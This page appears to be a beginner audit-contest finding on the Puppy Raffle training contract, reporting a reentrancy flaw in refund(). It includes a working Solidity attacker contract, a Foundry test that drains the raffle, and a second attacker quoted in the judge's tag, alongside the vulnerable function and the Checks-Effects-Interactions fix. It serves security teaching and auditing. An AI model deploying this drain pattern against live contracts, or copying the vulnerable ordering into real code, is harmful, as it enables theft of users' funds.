Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The refund() function provides attackers with opportunities for reentrant attacks.

limianyu

Root + Impact

Description

  • Normal behavior: refund() allows players to exit the lottery and retrieve their entry fee. Each player can only receive a refund once.

  • Issue: Before updating players[playerIndex], refund() sends ETH to msg.sender through sendValue. The underlying implementation of sendValue uses call and forwards all remaining gas. If msg.sender is a malicious contract, it can reenter refund() when receiving ETH. At this point, players[playerIndex] has not been reset to zero, and the reentrant call will again pass the require check and perform another transfer. The attacker can repeat this process until the contract balance is depleted.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// @> Transferring funds first and updating the status later violates the Checks-Effects-Interactions principle
payable(msg.sender).sendValue(entranceFee);
​
// @> The status is updated after the transfer, and the location remains the original address when re-entering
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • The attacker only needs to deploy a malicious contract, which calls enterRaffle to pay the entrance fee once, and then calls refund.

  • In receive() or fallback(), the attacking contract can call refund again because players[playerIndex] has not been reset to zero.

  • The attacker does not require any special permissions, and any player can execute it.

  • The cost of the attack is only the entry fee and gas for one attempt, but it can steal the funds of all other players in the contract.

Impact:

  • The attacker can steal all ETH in the contract, including the entry fees of other players.

  • After the contract was emptied, the selectWinner function was unable to distribute the prize money normally, leading to the complete failure of the lottery event.

  • The project party and regular players suffered direct financial losses.

Proof of Concept

Explanation of attack steps:

The attacker deploys the PuppyRaffleAttacker and transfers at least one entranceFee to it.

Call attack() which will call raffle.enterRaffle to add the attacking contract to the players array and pay the entry fee.

Then, call raffle.refund(index) to trigger sendValue to transfer funds to the attack contract.

The receive() method of the attacking contract is invoked, and at this point, players[index] still represents the address of the attacking contract, so the require check within the refund passes.

Call raffle.refund(index) again in receive(), and repeat steps 3-4 until the contract balance is insufficient or gas is exhausted.

The attacker successfully stole the ETH from the contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
interface IPuppyRaffle {
function enterRaffle(address[] calldata newPlayers) external payable;
function refund(uint256 playerIndex) external;
function entranceFee() external view returns (uint256);
}
​
contract PuppyRaffleAttacker {
IPuppyRaffle public raffle;
uint256 public index;
​
constructor(address _raffle) {
raffle = IPuppyRaffle(_raffle);
}
​
// Attack entry: Pay an entrance fee once, and then start refunding and re-entering
function attack() external payable {
require(msg.value == raffle.entranceFee(), "need one entrance fee");
​
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: msg.value}(players);
​
// Find your own index
// Since we have only added one address, and there may have been players before, we need to traverse and search
// For simplicity, we assume the attacker entered before other players, or we can search through getActivePlayerIndex
// Here, we directly use 0, but in actual attacks, it can be dynamically obtained
index = 0;
raffle.refund(index);
}
​
// Re-enter refund when receiving ETH
receive() external payable {
if (address(raffle).balance >= raffle.entranceFee()) {
raffle.refund(index);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import "forge-std/Test.sol";
import "../src/PuppyRaffle.sol";
import "../src/PuppyRaffleAttacker.sol";
​
contract PuppyRaffleReentrancyTest is Test {
PuppyRaffle raffle;
PuppyRaffleAttacker attacker;
address alice = address(0xA11CE);
address bob = address(0xB0B);
​
function setUp() public {
raffle = new PuppyRaffle(1 ether, address(0xFEE), 1 days);
// Let Alice and Bob enter first and inject funds into the contract
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
​
address[] memory players = new address[](2);
players[0] = alice;
players[1] = bob;
​
vm.prank(alice);
raffle.enterRaffle{value: 2 ether}(players);
​
// Deploy attack contract
attacker = new PuppyRaffleAttacker(address(raffle));
vm.deal(address(attacker), 1 ether);
}
​
function testReentrancyDrain() public {
uint256 raffleBalanceBefore = address(raffle).balance;
assertEq(raffleBalanceBefore, 2 ether);
​
// Execute the attack
attacker.attack{value: 1 ether}();
​
// After the attack, the contract balance should be significantly lower than before the attack, with the attacker obtaining a large amount of ETH
uint256 raffleBalanceAfter = address(raffle).balance;
assertLt(raffleBalanceAfter, raffleBalanceBefore);
​
// The attacker's balance has increased
assertGt(address(attacker).balance, 0);
}
}
​

Recommended Mitigation

Follow the principle of Checks-Effects-Interactions
Update the status first, and then proceed with the external transfer.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
+ // Update the status first.
+ players[playerIndex] = address(0);
+
+ // Transfer again
+ payable(msg.sender).sendValue(entranceFee);
+
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!